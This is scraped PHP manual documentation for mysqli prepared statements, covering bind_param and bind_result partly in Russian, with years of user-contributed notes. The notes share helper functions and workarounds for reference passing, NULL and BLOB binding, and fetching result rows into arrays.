When comparing a value against NULL, the MYSQL syntax is either "value IS NULL" or "value IS NOT NULL".  So, you can't pass in something like "WHERE (value = ?)" and expect this to work using a null value parameter.

Instead, you can do something like this in your WHERE clause:

"WHERE (IF(ISNULL(?), field1 is null, field1 = ?))"

Then, pass in the value you want to test twice:

bind_param('ss', $value1, $value1);
Anonymous 14-Mar-2011 02:28
Blob and null handling aside, a couple of notes on how param values are automatically converted and forwarded on to the Mysql engine based on your type string argument:

1) PHP will automatically convert the value behind the scenes to the underlying type corresponding to your binding type string.  i.e.:

<?php

$var = true;
bind_param('i', $var); // forwarded to Mysql as 1

?>

2) Though PHP numbers cannot be reliably cast to (int) if larger than PHP_INT_MAX, behind the scenes, the value will be converted anyway to at most long long depending on the size.  This means that keeping in mind precision limits and avoiding manually casting the variable to (int) first, you can still use the 'i' binding type for larger numbers.  i.e.:

<?php

$var = '429496729479896';
bind_param('i', $var); // forwarded to Mysql as 429496729479900

?>

3) You can default to 's' for most parameter arguments in most cases.  The value will then be automatically cast to string on the back-end before being passed to the Mysql engine.  Mysql will then perform its own conversions with values it receives from PHP on execute.  This allows you to bind not only to larger numbers without concern for precision, but also to objects as long as that object has a '__toString' method.

This auto-string casting behavior greatly improves things like datetime handling.  For example: if you extended DateTime class to add a __toString method which outputs the datetime format expected by Mysql, you can just bind to that DateTime_Extended object using type 's'.  i.e.:

<?php

// DateTime_Extended has __toString defined to return the Mysql formatted datetime
$var = new DateTime_Extended;
bind_param('s', $var); // forwarded to Mysql as '2011-03-14 17:00:01'

?>
user at mail dot com 25-Jan-2011 12:44
I had a problem with the LIKE operator

This code did not work:

<?php
$test = $sql->prepare("SELECT name FROM names WHERE name LIKE %?%");
$test->bind_param("s", $myname);
?>

The solution is:

<?php
$test = $sql->prepare("SELECT name FROM names WHERE name LIKE ?");
$param = "%" . $myname . "%";
$test->bind_param("s", $param);
?>
canche_x at yahoo dot com 12-Nov-2010 04:43
Hi, I just write a function to do all my sql statements based on all the others comments in this page, maybe it can be useful for someone else :)

Usage:

execSQL($sql, $parameters, $close);

$sql = Statement to execute;
$parameters = array of type and values of the parameters (if any)
$close = true to close $stmt (in inserts) false to return an array with the values;

Examples:

execSQL("SELECT * FROM table WHERE id = ?", array('i', $id), false);

execSQL("SELECT * FROM table", array(), false);

execSQL("INSERT INTO table(id, name) VALUES (?,?)", array('ss', $id, $name), true);

<?php

function execSQL($sql, $params, $close){
           $mysqli = new mysqli("localhost", "user", "pass", "db");

           $stmt = $mysqli->prepare($sql) or die ("Failed to prepared the statement!");

           call_user_func_array(array($stmt, 'bind_param'), refValues($params));

           $stmt->execute();

           if($close){
               $result = $mysqli->affected_rows;
           } else {
               $meta = $stmt->result_metadata();

               while ( $field = $meta->fetch_field() ) {
                   $parameters[] = &$row[$field->name];
               }

            call_user_func_array(array($stmt, 'bind_result'), refValues($parameters));

            while ( $stmt->fetch() ) {
               $x = array();
               foreach( $row as $key => $val ) {
                  $x[$key] = $val;
               }
               $results[] = $x;
            }

            $result = $results;
           }

           $stmt->close();
           $mysqli->close();

           return  $result;
   }

    function refValues($arr){
        if (strnatcmp(phpversion(),'5.3') >= 0) //Reference is required for PHP 5.3+
        {
            $refs = array();
            foreach($arr as $key => $value)
                $refs[$key] = &$arr[$key];
            return $refs;
        }
        return $arr;
    }
?>

Regards
erik at gravyllc dot com 21-Sep-2010 09:05
WOW! Thanks for the code that fixed the issue with mysqli_stmt_bind_param and PHP 5.3+. Worth sharing again for people getting the error message that a reference was expected and a value was provided. Here's a snippet and the whole function that fixed it!

//Use it like this
call_user_func_array('mysqli_stmt_bind_param', array_merge (array($sql_stmt, $type), $this->refValues($param)));

function refValues($arr)
{
    if (strnatcmp(phpversion(),'5.3') >= 0) //Reference is required for PHP 5.3+
    {
        $refs = array();
        foreach($arr as $key => $value)
            $refs[$key] = &$arr[$key];
         return $refs;
     }
     return $arr;
}
Mark Reddin 08-Sep-2010 03:30
Miguel Hatrick's Statement_Parameter class, as posted in these notes, allows for a relatively painless way of writing secure dynamic SQL.  It is secure against SQL injection because we still use bind parameters for any content coming from the user.

For example, the following code constructs an insert statement, but looks at which query string (GET) parameters are present in order to figure out which columns should be included.  The ParameterManager.php file is simply Miguel's classes as posted in this discussion.

<?php
require_once("dbConnectionParams.php");
require_once("ParameterManager.php");

$sp = new Statement_Parameter();

$column_list = "";

$value_list = "";

if (isset ($_GET['name']) ) {
    $column_list = $column_list . "name,";
    $value_list = $value_list . "?,";
    $sp->Add_Parameter('name', Statement_Parameter_Type::$STATEMENT_TYPE_STRING);
    $sp->Set_Parameter('name',$_GET['name']);
}

if (isset($_GET['address']) ) {
    $column_list = $column_list . "address,";
    $value_list = $value_list . "?,";
    $sp->Add_Parameter('address', Statement_Parameter_Type::$STATEMENT_TYPE_STRING);
    $sp->Set_Parameter('address',$_GET['address']);
}

//tidy up column list and value list - the code above will always leave them ending in a comma, which we remove now
$column_list = substr($column_list, 0, strlen($column_list) -1);
$value_list = substr($value_list, 0, strlen($value_list) -1);

$sql = "insert into test_table (" . $column_list . ") values (" . $value_list . ");";

echo $sql;

$mysqli = @new mysqli($host,$user,$password,$database);
$stmt = $mysqli->prepare($sql);

$sp->Bind_Params($stmt);

if($stmt->execute() === TRUE)
{
    /*** assign the last insert id ***/
    $last_id = $mysqli->insert_id;
    echo "OK$last_id";
}
else {
    echo $mysqli->error;
}

?>
eisoft 18-Mar-2010 03:42
I did a prepared statement for inserting in a simple table - images ( blob ) and their unique identifiers ( string ). All my blobs have smaller sizes than the MAX-ALLOWED-PACKET value.

I've found that when binding my BLOB parameter, I need to pass it as a STRING, otherwise it's truncated to zero length in my table. So I have to do this:

<?php
   $ok = $stmt->bind_param( 'ss', $id, $im ) ;
?>
fabio at kidopi dot com dot br 15-Mar-2010 09:14
I used to have problems with call_user_func_array and bind_param after migrating to php 5.3.

The problem is that 5.3 requires array values as reference while 5.2 works with real values.

so i created a secondary function to help me with this...

<?php
function refValues($arr){
    if (strnatcmp(phpversion(),'5.3') >= 0) //Reference is required for PHP 5.3+
    {
        $refs = array();
        foreach($arr as $key => $value)
            $refs[$key] = &$arr[$key];
        return $refs;
    }
    return $arr;
}
?>

and changed my previous function from:

<?php
call_user_func_array(array($this->stmt, "bind_param"),$this->valores);
?>

to:

<?php
call_user_func_array(array($this->stmt, "bind_param"),refValues($this->valores));
?>

in this way my db functions keep working in php 5.2/5.3 servers.

I hope this help someone.
rejohns at nOsPaMpost dot harvard dot edu 10-Feb-2010 08:24
You can, in fact, use mysqli_bind_parameter to pass a NULL value to the database. simply create a variable and store the NULL value (see the manpage for it) to the variable and bind that. Works great for me anyway.
Miguel Hatrick 17-Jul-2009 08:14
This might be helpful for someone. I made a class to manage the parameters

Its used like this:

<?php
$stmt = $mysqli->prepare("CALL item_add(?, ?, ?, ?)");

$sp = new Statement_Parameter();

$sp->Add_Parameter('mydescription', Statement_Parameter_Type::$STATEMENT_TYPE_STRING);
$sp->Add_Parameter('myean',            Statement_Parameter_Type::$STATEMENT_TYPE_STRING);
$sp->Add_Parameter('myprice',        Statement_Parameter_Type::$STATEMENT_TYPE_DOUBLE);
$sp->Add_Parameter('myactive',        Statement_Parameter_Type::$STATEMENT_TYPE_INTEGER);

// call this to bind the parameters
$sp->Bind_Params($stmt);

//you can then modify the values as you wish
$sp->Set_Parameter('myactive',0);
$sp->Set_Parameter('mydescription','whatever');

/* execute prepared statement */
$stmt->execute();

class Statement_Parameter
{
    private $_array = array();

    public function __constructor()
    {
    }

    public function Add_Parameter($name, $type, $value = NULL)
    {
        $this->_array[$name] = array("type" => $type, "value" => $value);
    }

    public function Get_Type_String()
    {
        $types = "";

        foreach($this->_array as $name => $la)
            $types .= $la['type'];

        return $types;
    }

    public function Set_Parameter($name, $value)
    {
        if (isset($this->_array[$name]))
        {
            $this->_array[$name]["value"] = $value;
            return true;
        }
        return false;
    }

    public function Bind_Params(&$stmt)
    {
        $ar = Array();

        $ar[] = $this->Get_Type_String();

        foreach($this->_array as $name => $la)
            $ar[] = &$this->_array[$name]['value'];

        return call_user_func_array(array($stmt, 'bind_param'),$ar);
    }
}

class Statement_Parameter_Type
{
    public static $STATEMENT_TYPE_INTEGER = 'i';
    public static $STATEMENT_TYPE_DOUBLE =     'd';
    public static $STATEMENT_TYPE_STRING =     's';
    public static $STATEMENT_TYPE_BLOB =     'b';
}
?>
Kai Sellgren 12-Mar-2009 03:26
A few notes on this function.

If you specify type "i" (integer), the maximum value it allows you to have is 2^32-1 or 2147483647. So, if you are using UNSIGNED INTEGER or BIGINT in your database, then you are better off using "s" (string) for this.

Here's a quick summary:
(UN)SIGNED TINYINT: I
(UN)SIGNED SMALLINT: I
(UN)SIGNED MEDIUMINT: I
SIGNED INT: I
UNSIGNED INT: S
(UN)SIGNED BIGINT: S

(VAR)CHAR, (TINY/SMALL/MEDIUM/BIG)TEXT/BLOB should all have S.

FLOAT/REAL/DOUBLE (PRECISION) should all be D.

That advice was for MySQL. I have not looked into other database software.
Mahees 21-Feb-2009 10:34
///////////////////////////////

Im sure many of you may want to use this functionality.

spent about 3hours writing this, so maybe i can save somone else some time, you can break it up into smaller functions for reuse as you wish.

the mysqli stmt bind param (mysqli_stmt_bind_param) function only takes one variable at a time, so its difficult to pass in a few variables to fill in the placeholder space.

this allows mysqli prepared statements with variable arguments, one sql template with multiple placeholders to be prepared and excuted.

hope this helps somone,
Mahees.

///////////////////////////////

<?php
$uname = 'mahees';
$pass = 'mahees';

$userPassArr = DataAccess::fetch('SELECT * FROM users WHERE username = ? AND password = ?', $uname, $pass);
print_r($userPassArr);

/*
Array
(
    [0] => Array
        (
            [id] => 1
            [username] => mahees
            [password] => mahees
        )

)
*/

$userPassArr = DataAccess::fetch('SELECT * FROM users');
print_r($userPassArr);

/*
Array
(
    [0] => Array
        (
            [id] => 1
            [username] => mahees
            [password] => mahees
        )

    [1] => Array
        (
            [id] => 4
            [username] => foo
            [password] => bar
        )

    [2] => Array
        (
            [id] => 5
            [username] => bar
            [password] => baz
        )

)
*/

//********* function in DataAccess class *********
//im sure this can be written better with more checks...but principle stands

    static function fetch() {
        $args = func_get_args();
        $sql = array_shift($args);
        $link = self::establish_db_conn();
        if (!$stmt = mysqli_prepare($link, $sql)) {
            self::close_db_conn();
            die('Please check your sql statement : unable to prepare');
        }
        $types = str_repeat('s', count($args));
        array_unshift($args, $types);
        array_unshift($args, $stmt);
        call_user_func_array('mysqli_stmt_bind_param', $args);

        mysqli_stmt_execute($stmt);

        $result = mysqli_stmt_result_metadata($stmt);
        $fields = array();
        while ($field = mysqli_fetch_field($result)) {
            $name = $field->name;
            $fields[$name] = &$$name;
        }
        array_unshift($fields, $stmt);
        call_user_func_array('mysqli_stmt_bind_result', $fields);

        array_shift($fields);
        $results = array();
        while (mysqli_stmt_fetch($stmt)) {
            $temp = array();
            foreach($fields as $key => $val) { $temp[$key] = $val; }
            array_push($results, $temp);
        }

        mysqli_free_result($result);
        mysqli_stmt_close($stmt);
        self::close_db_conn();

        return $results;
    }
?>
mark at x2software dot net 07-Sep-2008 02:26
I wanted to pass the parameters for several queries to a single function to fill them (insert / update having the same fields for example), while at the same time making the types array a bit easier to maintain when you've got a lot of parameters. Here's a simple solution I came up with:

<?php
function bindParameters(&$statement, &$params)
{
  $args   = array();
  $args[] = implode('', array_values($params));

  foreach ($params as $paramName => $paramType)
  {
    $args[] = &$params[$paramName];
    $params[$paramName] = null;
  }

  call_user_func_array(array(&$statement, 'bind_param'), $args);
}

// Usage:
$statement = $database->prepare('INSERT INTO test (value1, value2) VALUES (?, ?)');
$params    = array('param1' => 's',
                   'param2' => 'i');

bindParameters($statement, $params);

$params['param1'] = 'parameter test';
$params['param2'] = 42;

$statement->execute();
?>

Note that the types will be overwritten after a call to bindParameters to provide a sensible default (otherwise it will be used as the parameter value when you execute the statement), so you need to reinitialize the types if you want to bind it to another statement.
jette at nerdgirl dot dk 17-Jul-2008 01:46
I already have a database class that makes everything nice and easy. But when it came to preparing, binding and executing, I found it was a real challenge to boil things down.

But luckily I stumbled over a bug-report with a workaround, that pointed me in the right direction.: http://bugs.php.net/bug.php?id=43568

I now execute stored procedures (aka routines) like this:

<?php
$db = new myDb();
$db->execProcedure('call someProc(?,?)','ss',array('param1','param2'));
?>

And this is the code to make it happen:
(I extracted this example from a bigger context, but you probably get the idea)

<?php
class myDb extends mysqli {

  public function  __construct() {
    //Connection established here
  }

  public function execProcedure($call,$types,$params) {
    $stmt = $this->prepare($call);
    $bind_names[] = $types;
    for ($i=0; $i<count($params);$i++) {
      $bind_name = 'bind' . $i;
      $$bind_name = $params[$i];
      $bind_names[] = &$$bind_name;
    }
    $return = call_user_func_array(array($stmt,'bind_param'),$bind_names);
    $stmt->execute();
    $stmt->close();
  }
}
Anonymous 15-Dec-2007 10:24
It's worth noting that you have to bind all parameters in one fell swoop - you can't go through and call bind_param once for each.
flame 18-Feb-2007 08:44
Columns with type bigint need to be specified as type 'd' NOT 'i'.

Using 'i' results in large numbers (eg 3000169151) being truncated.

--
flame


Привязка переменных к подготовленному запросу для размещения результата

  • « mysqli_stmt::bind_param
  • mysqli_stmt::close »
  • PHP Manual
  • mysqli_stmt
  • Привязка переменных к подготовленному запросу для размещения результата

mysqli_stmt::bind_result

mysqli_stmt_bind_result

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::bind_result -- mysqli_stmt_bind_result — Привязка переменных к подготовленному запросу для размещения результата

Описание

Объектно-ориентированный стиль

public mysqli_stmt::bind_result(mixed &$var, mixed &...$vars): bool

Процедурный стиль

mysqli_stmt_bind_result(mysqli_stmt $statement, mixed &$var, mixed &...$vars): bool

Привязывает столбцы результирующего набора к переменным.

При вызове mysqli_stmt_fetch() для выборки данных, протокол клиент-серверного взаимодействия MySQL помещает выбранные данные в переменные var/vars, привязанные к столбцам результата выборки.

Столбцы можно привязывать и перепривязывать многократно, даже когда результирующий набор уже частично выбран. Новая привязка даст эффект при следующем вызове mysqli_stmt_fetch().

Замечание:

Все столбцы должны быть привязаны к переменным после вызова mysqli_stmt_execute() и до вызова mysqli_stmt_fetch(). В зависимости от типов данных столбцов привязанные переменные могут неявно изменять свой PHP тип.

Замечание:

В зависимости от типов столбцов связанные переменные могут незаметно изменяться на соответствующий тип PHP.

Подсказка

Функция полезна для простых результатов. Чтобы получить повторяемый набор результатов или каждую строку как массив или объект, используйте mysqli_stmt_get_result().

Список параметров

stmt

Только для процедурного стиля: объект mysqli_stmt, который вернула функция mysqli_stmt_init().

var

Привязываемая переменная.

vars

Остальные привязываемые переменные.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* подготовка запроса */
$stmt = $mysqli->prepare("SELECT Code, Name FROM Country ORDER BY Name LIMIT 5");
$stmt->execute();

/* привязка переменных к подготовленному запросу */
$stmt->bind_result($col1, $col2);

/* получение значений */
while ($stmt->fetch()) {
printf("%s %s\n", $col1, $col2);
}

Пример #2 Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* подготовка запроса */
$stmt = mysqli_prepare($link, "SELECT Code, Name FROM Country ORDER BY Name LIMIT 5");
mysqli_stmt_execute($stmt);

/* привязка переменных к подготовленному запросу */
mysqli_stmt_bind_result($stmt, $col1, $col2);

/* получение значений */
while (mysqli_stmt_fetch($stmt)) {
printf("%s %s\n", $col1, $col2);
}

Результат выполнения данных примеров:

AFG Afghanistan
ALB Albania
DZA Algeria
ASM American Samoa
AND Andorra

Смотрите также

  • mysqli_stmt_get_result() - Получает результат из подготовленного запроса в виде объекта mysqli_result
  • mysqli_stmt_bind_param() - Привязка переменных к параметрам подготавливаемого запроса
  • mysqli_stmt_execute() - Выполняет подготовленное утверждение
  • mysqli_stmt_fetch() - Связывает результаты подготовленного выражения с переменными
  • mysqli_prepare() - Подготавливает SQL выражение к выполнению
  • mysqli_stmt_prepare() - Подготавливает утверждение SQL к выполнению

User Contributed Notes

carloshritzmann at gmail dot com 25-Jan-2022 12:16
From PHP 7.4+, you can use the spread operator (...) to easily automate the process of assigning variables to the query statement, and to fetch data when executing a SELECT request using prepared statements.

However, the spread operator takes in consideration the size of the array. So it must be pre allocated before used in any context.

<?php
    $link = // Create DB Connection

    $query_text = "SELECT mission, year, report FROM table WHERE id=? AND name=?;";

    // Data to assign
    $types = "is";
    $param = [0, "John Titor"];

    // Prepare and Execute Statement
    $stmt = mysqli_stmt_prepare($link, $query_text);
    if (mysqli_stmt_execute($stmt)) {

        // We know we are going to retrieve 3 columns: Mission, Year and Report.
        $output = [0, 0, 0];

        // Behind the scenes, the spread operator gives this idea when used:
        // mysqli_stmt_bind_result($link, $output[0], $output[1], $output[2]);
        mysqli_stmt_bind_result($stmt, ...$output);

        // Fetch data
        while (mysqli_stmt_fetch($stmt)) {
            echo "Mission: " . $output[0] . "\n";
            echo "Year: " . $output[1] ."\n";
            echo "Report: " . $output[2] . "\n";
        }

    } else {
        echo "Error: Wrong Timeline\n";
    }

    // Close DB Connection
?>
kaspy at example dot com 05-Mar-2015 06:31
For those of you trying to bind rows into array,
<?php
$stmt = $db->prepare('SELECT id, name, mail, phone, FROM contacts');
$stmt->execute();
$stmt->store_result();
$stmt->bind_result($arr['id'], $arr['name'], $arr['mail'], $arr['phone']);
while ($stmt->fetch()) {
    $outArr[] = $arr;
}
$stmt->close();
return $outArr;
?>
this will give you all the rows you asked for except that they would all be the same as the first one because of some gremlins in the background code (i've heard that PHP is trying to save memory here).

But this one works:
<?php
$stmt = $db->prepare('SELECT id, name, mail, phone, FROM contacts');
$stmt->execute();
$stmt->store_result();
$stmt->bind_result($a,$b,$c,$d);
while ($stmt->fetch()) {
    $outArr[] = ['id' => $a, 'name' => $b, 'mail' => $c, 'phone' => $d];
}
$stmt->close();
return $outArr;
?>
Just don't use arrays to bind results :)
Masterkitano 20-Feb-2015 03:53
for people who doesn't have the mysqlInd driver or for some reason just can't use the stmt->get_result, I've made this function which allows you to "mimic" the mysqli_result::fetch_assoc:

function fetchAssocStatement($stmt)
    {
        if($stmt->num_rows>0)
        {
            $result = array();
            $md = $stmt->result_metadata();
            $params = array();
            while($field = $md->fetch_field()) {
                $params[] = &$result[$field->name];
            }
            call_user_func_array(array($stmt, 'bind_result'), $params);
            $stmt->fetch();
            return $result;
        }

        return null;
    }

you can use it in a while sentence to fetch and return an assoc array from the statement (as long as the statement is open):
usage:
$statement = $mysqli->prepare($query));
$statement.execute();
while($rowAssocArray = fetchAssocStatement($statement))
{
    //do something
}

$statement.close();

hope this helps.
timchampion dot NOSPAM at gmail dot com 20-Feb-2012 07:29
Just wanted to make sure that all were aware of get_result for those needing the result in array format.

In the code sample, after execute(), perform a get_result() like this:

<?php

// ... this document's example code:

    $stmt->execute();

    /* instead of bind_result: */
    $result = $stmt->get_result();

    /* now you can fetch the results into an array - NICE */
    while ($myrow = $result->fetch_assoc()) {
        printf("%s %s\n", $myrow['Code'], $myrow['Name']);
    }

?>

This is much nicer when you have a dozen or more fields coming back from your query.  Hope this helps.  Also, as noted in the comments for get_result, it requires mysqlnd.
dev+php at alepe dot com 25-Jul-2011 10:31
According to the above documentation:
"Depending on column types bound variables can silently change to the corresponding PHP type. "

if you specify a field as int (tinyint, mediumint, etc.) with zerofill property, it will be converted (silently) to PHP integer (erasing the leading zeros). In order to keep those leading zeros, one solution is to specify the field as decimal.

Note that this only happens when using prepared statements and not when executing the query directly.
scragar at gmail dot com 16-Jun-2011 12:02
To clarify for anyone having problems with arrays, PHP will automatically pass arrays as references, cloning the array if needed in the event of setting or unsetting a part of it, changing a referenced variable does not trigger cloning.

This is done for efficiency, to clone an array containing this information you may either use a foreach loop, or set/unset a key. Techniques like array_values will also work provided you don't mind losing your keys.
nieprzeklinaj at gmail dot com 01-Feb-2011 01:02
I wrote a function that fetches all rows from a result set - either normal or prepared.

<?php
function fetch($result)
{
    $array = array();

    if($result instanceof mysqli_stmt)
    {
        $result->store_result();

        $variables = array();
        $data = array();
        $meta = $result->result_metadata();

        while($field = $meta->fetch_field())
            $variables[] = &$data[$field->name]; // pass by reference

        call_user_func_array(array($result, 'bind_result'), $variables);

        $i=0;
        while($result->fetch())
        {
            $array[$i] = array();
            foreach($data as $k=>$v)
                $array[$i][$k] = $v;
            $i++;

            // don't know why, but when I tried $array[] = $data, I got the same one result in all rows
        }
    }
    elseif($result instanceof mysqli_result)
    {
        while($row = $result->fetch_assoc())
            $array[] = $row;
    }

    return $array;
}
?>

Simply call it passing a result set or executed statement and you'll get all rows fetched.
quano 23-Dec-2010 04:19
If I have a longtext field in the result, the whole page will go blank, without giving me any errors what so ever. This is because PHP _crashes_. I've spent an entire morning figuring this out.

Apparently, if you have longtext present, you HAVE to call store_result before using bind_result.

http://bugs.php.net/bug.php?id=47928
pcc at pccglobal dot com 31-Jul-2010 07:06
If done properly, 'call_user_func_array()' works to bind variables to a result of multiple columns including BLOB columns.

EXAMPLE:

<?php
$data = array() ; // Array that accepts the data.
$params = array() ; // Parameter array passed to 'bind_result()'
$column = array("fidentity", "fvarchar", "fdate", "ftinyblob") ; // The column names.
foreach($column as $col_name)
{
  // 'fetch()' will assign fetched value to the variable '$data[$col_name]'
  $params[] =& $data[$col_name] ;
}
$res = call_user_func_array(array($stmt, "bind_result"), $params) ;
?>

Here's the complete example.
WARNING: When using 'prepare' to prepare a statement to retrieve LOBs the method order matters.
Also, method 'store_result()' must be called and be called in correct order.
Failure to observe this causes PHP/MySQLi to crash or return an erroneous value.
The proper procedure order is: prepare -> execute -> store_result -> bind -> fetch

<?php
$database = "test" ;
$table = "test" ;
$column = array("fidentity", "fvarchar", "fdate", "ftinyblob") ;
$select_set = "`fidentity`, `fvarchar`, `fdate`, `ftinyblob`" ;
$mysqli = new mysqli("localhost", "root", $password, $database);
// Proper procedure order: prepare -> execute -> store_result -> bind -> fetch
$stmt = $mysqli->prepare("SELECT $select_set FROM `$table`") ;
$stmt->execute();
$stmt->store_result();
$data = array() ; // Array that accepts the data.
$params = array() ; // Parameter array passed to 'bind_result()'
foreach($column as $col_name)
{
  // Assign the fetched value to the variable '$data[$name]'
  $params[] =& $data[$col_name] ;
}
$res = call_user_func_array(array($stmt, "bind_result"), $params) ;
if(! $res)
{
  echo "bind_result() failed: " . $mysqli->error . "\n" ;
}
else
{
  $res = $stmt->fetch() ;
  if($res)
  {
      echo "<pre>" . htmlentities(print_r($data, true)) . "</pre>\n" ;
  }
  else
  {
    echo ((false !== $res) ? "End of data" : $stmt->error) . "\n" ;
  }
}
$stmt->close() ;
$mysqli->close() ;
exit ;
?>

The above example should output:
Array (
  [fidentity] => 24
  [fvarchar] => the rain in spain
  [fdate] => 2010-07-31
  [ftinyblob] => GIF89a...(more BLOB data)
)
uramihsayibok, gmail, com 27-Jul-2009 01:35
A note to people to want to return an array of results - that is, an array of all the results from the query, not just one at a time.

<?php

// blah blah...
call_user_func_array(array($mysqli_stmt_object, "bind_result"), $byref_array_for_fields);

$results = array();
while ($mysqli_stmt_object->fetch()) {
    $results[] = $byref_array_for_fields;
}

?>
This will NOT work. $results will have a bunch of arrays, but each one will have a reference to $byref.

PHP is optimizing performance here: you aren't so much copying the $byref array into $results as you are *adding* it. That means $results will have a bunch of $byrefs - the same array repeated multiple times. (So what you see is that $results is all duplicates of the last item from the query.)

hamidhossain (01-Sep-2008) shows how to get around that: inside the loop that fetches results you also have to loop through the list of fields, copying them as you go. In effect, copying everything individually.

Personally, I'd rather use some kind of function that effectively duplicates an array than write my own code. Many of the built-in array functions don't work, apparently using references rather than copies, but a combination of array_map and create_function does.

<?php

// blah blah...
call_user_func_array(array($mysqli_stmt_object, "bind_result"), $byref_array_for_fields);

// returns a copy of a value
$copy = create_function('$a', 'return $a;');

$results = array();
while ($mysqli_stmt_object->fetch()) {
    // array_map will preserve keys when done here and this way
    $results[] = array_map($copy, $byref_array_for_fields);
}

?>

All these problems would go away if they just implemented a fetch_assoc or even fetch_array for prepared statements...
Miguel Hatrick 17-Jul-2009 09:18
Took some cool code from here and made a little class for those object oriented kind of guys

used like this:

<?php
// execute prepared statement
$stmt->execute();
$stmt->store_result();

//custom class :D bind to Statement Result mambo jambo!
$sr = new Statement_Result($stmt);

$stmt->fetch();
printf("ID: %d\n", $sr->Get('id') );

/////////////////////////////////

class Statement_Result
{
    private $_bindVarsArray = array();
    private $_results = array();

    public function __construct(&$stmt)
    {
        $meta = $stmt->result_metadata();

        while ($columnName = $meta->fetch_field())
            $this->_bindVarsArray[] = &$this->_results[$columnName->name];

        call_user_func_array(array($stmt, 'bind_result'), $this->_bindVarsArray);

        $meta->close();
    }

    public function Get_Array()
    {
        return $this->_results;
    }

    public function Get($column_name)
    {
        return $this->_results[$column_name];
    }
}
?>
atulkashyap1 at hotmail dot com 25-Apr-2009 03:31
bind_ result can also be used to return an array of variables from a function,
This took me a long time to figure out, so I would like to share this.

<?php
function extracting(){
  $query="SELECT topic, detail, date, tags
    FROM updates
    ORDER BY date DESC
    LIMIT 5 ";
  if($stmt = $this->conn->prepare($query)) {
    $stmt->execute();
    $stmt->bind_result($updates[0],$updates[1],$updates[2],$updates[3]);
    $i=0;
    while($stmt->fetch()){
      $i++;
      $name='t'.$i;
      $$name = array($updates[0],$updates[1],$updates[2],$updates[3]);
    }
    return array($t1,$t2,$t3,$t4,$t5,);
    $stmt->close();
  }
}
?>
hamidhossain at gmail dot com 01-Sep-2008 07:07
lot of people don't like how bind_result works with prepared statements! it requires you to pass long list of parameters which will be loaded with column value when the function being called.

To solve this, i used call_user_func_array function and result_metadata functions. which make easy and automatically returns an array of all columns results stored in an array with column names.

please don't forget to change setting variables with your own credentials:

<?php
$host = 'localhost';
$user = 'root';
$pass = '1234';
$data = 'test';

$mysqli = new mysqli($host, $user, $pass, $data);
/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($stmt = $mysqli->prepare("SELECT * FROM sample WHERE t2 LIKE ?")) {
    $tt2 = '%';

    $stmt->bind_param("s", $tt2);
    $stmt->execute();

    $meta = $stmt->result_metadata();
    while ($field = $meta->fetch_field())
    {
        $params[] = &$row[$field->name];
    }

    call_user_func_array(array($stmt, 'bind_result'), $params);

    while ($stmt->fetch()) {
        foreach($row as $key => $val)
        {
            $c[$key] = $val;
        }
        $result[] = $c;
    }

    $stmt->close();
}
$mysqli->close();
print_r($result);
?>
bb at servertje dot nl 23-Feb-2008 03:24
Although inspired by an earlier post, this method could be added to any of your database objects. It's an object oriented implementation of an earlier post.

The method returns an array with objects representing a row. Each property represents a column and its value.

<?php
    private function getresult($stmt)
    {
      $result = array();

      $metadata = $stmt->result_metadata();
      $fields = $metadata->fetch_fields();

      for (;;)
      {
        $pointers = array();
        $row = new stdClass();

        $pointers[] = $stmt;
        foreach ($fields as $field)
        {
          $fieldname = $field->name;
          $pointers[] = &$row->$fieldname;
        }

        call_user_func_array(mysqli_stmt_bind_result, $pointers);

        if (!$stmt->fetch())
          break;

        $result[] = $row;
      }

      $metadata->free();

      return $result;
    }
?>
thejkwhosaysni at gmail dot com 19-Oct-2005 01:12
I've created these functions which will act like mysqli_fetch_array() and mysqli_fetch_object() but work with bound results.

<?php
    function fetch_object() {
        $data = mysqli_stmt_result_metadata($this->stmt);
        $count = 1; //start the count from 1. First value has to be a reference to stmt.
        $fieldnames[0] = &$this->stmt;
        $obj = new stdClass;
        while ($field = mysqli_fetch_field($data)) {
            $fn = $field->name; //get all the feild names
            $fieldnames[$count] = &$obj->$fn; //load the fieldnames into an object..
            $count++;
        }
        call_user_func_array(mysqli_stmt_bind_result, $fieldnames);
        mysqli_stmt_fetch($this->stmt);
        return $obj;
    }

    function fetch_array() {
        $data = mysqli_stmt_result_metadata($this->stmt);
        $count = 1; //start the count from 1. First value has to be a reference to the stmt. because bind_param requires the link to $stmt as the first param.
        $fieldnames[0] = &$this->stmt;
        while ($field = mysqli_fetch_field($data)) {
            $fieldnames[$count] = &$array[$field->name]; //load the fieldnames into an array.
            $count++;
        }
        call_user_func_array(mysqli_stmt_bind_result, $fieldnames);
        mysqli_stmt_fetch($this->stmt);
        return $array;

    }

?>

Hope this helps some people, I was puzzled by this for a while.
andrey at php dot net 07-Oct-2005 05:38
If you select LOBs use the following order of execution or you risk mysqli allocating more memory that actually used

1)prepare()
2)execute()
3)store_result()
4)bind_result()

If you skip 3) or exchange 3) and 4) then mysqli will allocate memory for the maximal length of the column which is 255 for tinyblob, 64k for blob(still ok), 16MByte for MEDIUMBLOB - quite a lot and 4G for LONGBLOB (good if you have so much memory). Queries which use this order a bit slower when there is a LOB but this is the price of not having memory exhaustion in seconds.
brad dot jackson at resiideo dot com 22-Mar-2005 09:10
A potential problem exists in binding result parameters from a prepared statement which reference large datatypes like mediumblobs.  One of our database tables contains a table of binary image data.  Our largest image in this table is around 50Kb, but even so the column is typed as a mediumblob to allow for files larger than 64Kb.  I spent a frustrating hour trying to figure out why mysqli_stmt_bind_result choked while trying to allocate 16MB of memory for what should have been at most a 50Kb result, until I realized the function is checking the column type first to find out how big a result _might_ be retrieved, and attempting to allocate that much memory to contain it.  My solution was to use a more basic mysqli_result() query.  Another option might have been to retype the image data column as blob (64Kb limit).


Закрывает подготовленный запрос

  • « mysqli_stmt::bind_result
  • mysqli_stmt::__construct »
  • PHP Manual
  • mysqli_stmt
  • Закрывает подготовленный запрос

mysqli_stmt::close

mysqli_stmt_close

(PHP 5, PHP 7, PHP 8)

